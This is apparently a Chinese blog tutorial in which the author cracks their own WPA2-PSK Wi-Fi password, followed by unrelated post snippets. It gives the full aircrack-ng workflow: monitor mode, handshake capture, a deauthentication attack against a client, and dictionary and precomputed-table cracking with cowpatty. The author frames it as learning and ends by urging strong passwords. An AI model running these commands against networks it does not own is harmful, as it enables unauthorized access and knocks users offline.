wpa破解学习实践

概述:

针对WEP的一些弱点,WPA(WiFi Protected Access)一一改进:

WPA又分两种基本类别:

• WPA Enterprise (requires a Radius server)
• WPA Personal (also known as WPA-PSK)

我们一般使用的是WPA Personal,也就是一个AP只有一个密钥(Pre-shared Key)。

WPA又有WPA和WPA2,前者只能使用TKIP(Temporary Key Integrity Protocol)加密,后者除TKIP外还能使用AES(Advanced Encryption Standard)进行加密。

实践:

环境: 虚拟机kali 2.0 + usb无线网卡(360随身wifi) + 无线路由(使用wpa2-psk加密)

利用系统自带的aircrack-ng套件进行实验。关于aircrack-ng的使用可参考 http://kalitut.blogspot.sg/2015/09/crack-wpa2-wifi-password.html

第一步:先将无线网卡开成监听模式。(期间要求关闭3个进程)

root@kali:~# iwconfig
wlan0     IEEE 802.11bgn  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

lo        no wireless extensions.

eth0      no wireless extensions.
root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run ‘airmon-ng check kill‘

  PID Name
  702 NetworkManager
  847 wpa_supplicant
 5674 dhclient

PHY    Interface    Driver        Chipset

phy0    wlan0        mt7601u        Ralink Technology, Corp. MT7601U

        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)

root@kali:~# kill 702 847 5674
root@kali:~# airmon-ng start wlan0

PHY    Interface    Driver        Chipset

phy0    wlan0mon    mt7601u        Ralink Technology, Corp. MT7601U

第二步:开始监听。

root@kali:~# airodump wlan0mon

以下为监听结果(为了保护信息,做了些模糊处理):

其中BSSID为AP(Access Point)的硬件地址,CH为所在的信道(一般是1、6、11),ESSID就是AP的名字。下方的STATION是连入该ap的一些客户。

此时右上角是空白的,说明并没有捕获到wpa握手包。(也就是监听期间并没有新用户进行验证连接该ap)

选定一个AP进行监听。我们选择下面监听到多个客户连入的这个AP(以6C:E8开头的MAC):

root@kali:~# airodump -w test --channel 11 --bssid 6C:E8:XX:XX:XX:XX wlan0mon

其中-w test表示将抓到的包存到新建的test文件中。

第三步:为了尽快捕获握手包,进行Deauthenticate验证攻击:

root@kali:~# aireplay-ng -0 10 -a 6C:E8:73:F9:54:D2 -c 70:18:8B:38:85:B1 wlan0mon
10:19:03  Waiting for beacon frame (BSSID: 6C:E8:73:F9:54:D2) on channel 11
10:19:04  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [13|65 ACKs]
10:19:05  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [21|64 ACKs]
10:19:05  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [29|65 ACKs]
10:19:06  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [57|62 ACKs]
10:19:07  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs]
10:19:07  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs]
10:19:08  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [64|64 ACKs]
10:19:09  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [62|65 ACKs]
10:19:09  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [58|64 ACKs]
10:19:10  Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [59|65 ACKs]

其中的参数-0是Deauthenticate攻击,10是发送数据包的数量,-a是要攻击的AP硬件地址,-c是连入该AP的客户端的硬件地址(非必须,但有的话攻击成功率高)。

成功捕获握手包!

第四步:用ctrl+c中断监听,可见当前目录下多了以test-01开头的四个文件。我们要用的是test-01.cap,对它进行暴力破解。

当然你得有字典文件,我这里使用了kali自带的字典,具体可参考前面给出的网址。

这里为了实验我作弊了,因为我的ap密码设置的比较复杂,暴力破解的难度比较高。所以我直接把密码添加到字典的第30000行上~

root@kali:~# aircrack-ng -w kalitut.txt test-01.cap

在我的虚拟机里能以800keys/s的速度破解,很快就找到了(图中模糊处),用时36秒

如何提升破解速度:

Time-Memory Trade-Offs是指将字典中的明文密码提前转换成hash值,建立高速wpa hash tables,用这个tables去对抓到的握手包进行暴力破解。

顾名思义,这么做会消耗更多存储空间,以换取破解时间的减少。

我们可以使用genpmk来建立高速wpa hash tables,这个genpmk是另一个无线破解工具cowpatty提供的。

这里如果要对我之前用的整个字典文件全部转换的话,这个过程要很久。所以我先提取前面的40000行出来建立tables就好了。

root@kali:~# genpmk -f kalitut2.txt -d testtables -s XXX
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com>
File testtables does not exist, creating.
key no. 1000: ?-??????/?
key no. 2000: 000000sa
key no. 3000: 00008114

-- snip --
key no. 39000: 0111398899
key no. 40000: 01129112

40000 passphrases tested in 132.22 seconds:  302.53 passphrases/second

其中参数-f是原来的明文字典,-d是生成的tables名,-s是AP的名称。

用生成的tables再次进行破解:

root@kali:~# cowpatty -d testtables -r test-01.cap -s XXX

其中参数-d是之前生成的tables,-r是抓到的包,-s是AP名。

只用了0.22秒就找到了!比刚刚的36秒快多了!

总结:目前来看,wpa2的安全性还是相对较高的,针对它的破解一般基于暴力破解。所以我们只要设置好强度高的密码,一般就没什么问题了。

时间: 2024-11-02 16:00:06

wpa破解学习实践的相关文章

深度学习实践系列(2)- 搭建notMNIST的深度神经网络

如果你希望系统性的了解神经网络,请参考零基础入门深度学习系列,下面我会粗略的介绍一下本文中实现神经网络需要了解的知识. 什么是深度神经网络? 神经网络包含三层:输入层(X).隐藏层和输出层:f(x) 每层之间每个节点都是完全连接的,其中包含权重(W).每层都存在一个偏移值(b). 每一层节点的计算方式如下: 其中g()代表激活函数,o()代表softmax输出函数. 使用Flow Graph的方式来表达如何正向推导神经网络,可以表达如下: x: 输入值 a(x):表示每个隐藏层的pre-acti

Nagios学习实践系列——基本安装篇

开篇介绍 最近由于工作需要,学习研究了一下Nagios的安装.配置.使用,关于Nagios的介绍,可以参考我上篇随笔Nagios学习实践系列--产品介绍篇 实验环境 操作系统:Red Hat Enterprise Linux Server release 6.0 (Santiago)   64 bit. 注意,Nagios只能安装在Linux或Unix平台,不支持Windows平台,当然,它可以监控Windows平台. 环境准备 Apache 和PHP 不是安装Nagios所必须的,其实也可以说

Nagios学习实践系列

其实上篇Nagios学习实践系列--基本安装篇只是安装了Nagios基本组件,虽然能够打开主页,但是如果不配置相关配置文件文件,那么左边菜单很多页面都打不开,相当于只是一个空壳子.接下来,我们来学习研究一下Nagios的配置,了解一下基本的配置和了解各类配置文件. Nagios配置目录 Nagios的配置文件位于etc目录下(/usr/local/nagios/etc)如下图所示: 配置文件简介 配置文件名 功能描述 cgi.cfg 控制CGI访问的配置文件 nagios.cfg 主配置文件:主

初探开源分布式WPA破解程序moscrack

最近玩moscrack这个开源的分布式破解程序,但苦于网上没有一篇step by step的使用指南(不管中文还是英文),跟着说明自己摸索了两个晚上,记录下来供有需要的同学参考.感兴的朋友可以和我一起讨论如何更好地利用这个项目. 项目地址:https://sourceforge.net/projects/moscrack/ 一.简要说明 1.运行模式:Moscrack根据字典文件的共享机制不同,分两个运行模式,copy和share,copy模式比较简单,本文也是基于该模式介绍. 2.网络连接模式

Appium学习实践(四)结构优化

随着我们测试脚本中的用例越来越多,我们不可能将所有的用例都放在同一个脚本中,所以我们需要优化我们的结构.将脚本放在一个文件夹中,再通过别的脚本来执行脚本.这样,我们也可以有选择性的执行我们的脚本 先来看一下现在的目录结构 测试脚本统一放到了test_case文件夹中,注意这个文件夹中要添加一个__init__.py的文件,只要是这个名字就行了,内容为空 因为我们要导入这个文件夹中的module,所以我们先构建一个package,而package必须包含一个__init__.py文件 然后来看下我

使用sklearn进行集成学习——实践

系列 <使用sklearn进行集成学习——理论> <使用sklearn进行集成学习——实践> 目录 1 Random Forest和Gradient Tree Boosting参数详解2 如何调参? 2.1 调参的目标:偏差和方差的协调 2.2 参数对整体模型性能的影响 2.3 一个朴实的方案:贪心的坐标下降法 2.3.1 Random Forest调参案例:Digit Recognizer 2.3.1.1 调整过程影响类参数 2.3.1.2 调整子模型影响类参数 2.3.2 Gr

学习实践:使用模式,原则实现一个C++自动化测试程序

个人编程中比较喜欢重构,重构能够提高自己的代码质量,使代码阅读起来也更清晰.但是重构有一个问题,就是如何保证重构后带代码实现的功能与重构前的一致,如果每次重构完成后,对此不闻不问,则会有极大的风险,如果每次重构后,都进行一边测试,则工作量会很巨大,最终可能是即使代码有重构的欲望,也会尽量克制住,不去重构.除非代码能够进行自动化测试.实际上进行测试的是接口,而不是所有代码,只要能够保持接口不变,自动化测试的工作量也没有想象中的巨大.其实我们在单元测试的时候,会测试各种异常情况,只不过,没有将这些测

深度学习实践系列之--身份证上汉字及数字识别系统的实现(上)

前言: 本文章将记录我利用深度学习方法实现身份证图像的信息识别系统的实现过程,及学习到的心得与体会.本次实践是我投身AI的初次系统化的付诸实践,意义重大,让自己成长许多.终于有空闲的时间,将其记录,只为更好的分享与学习. 目录: 1.本人的主要工作 2.关键技术 3.模型训练 4.系统设计及实现 5.总结 正文: 一.本人的主要工作 深度学习技术与传统模式识别技术相比,免去人工提取特征,识别率更高.我基于深度学习的技术背景,主要的研究内容如下: 1)身份证图像涉及个人隐私,很难获取其数据训练集.

排序学习实践

排序学习实践---ranknet方法 http://www.cnblogs.com/LBSer/p/4439542.html 1 背景 随着移动互联网的崛起,越来越多的用户开始习惯于从手机完成吃.喝.玩.乐.衣.食.住.行等各个方面的需求.打开手机,点开手淘.美团等APP,商品玲玲满目,而让用户将所有商品一页页看完已经不现实,通常情况下用户也就查看前几页,如果找不到满意的商品则退出,从而造成流单.因此如何对商品进行排序使得用户能尽快完成购买流程已经成为这些平台的重要攻克方向. 图1 手机淘宝.美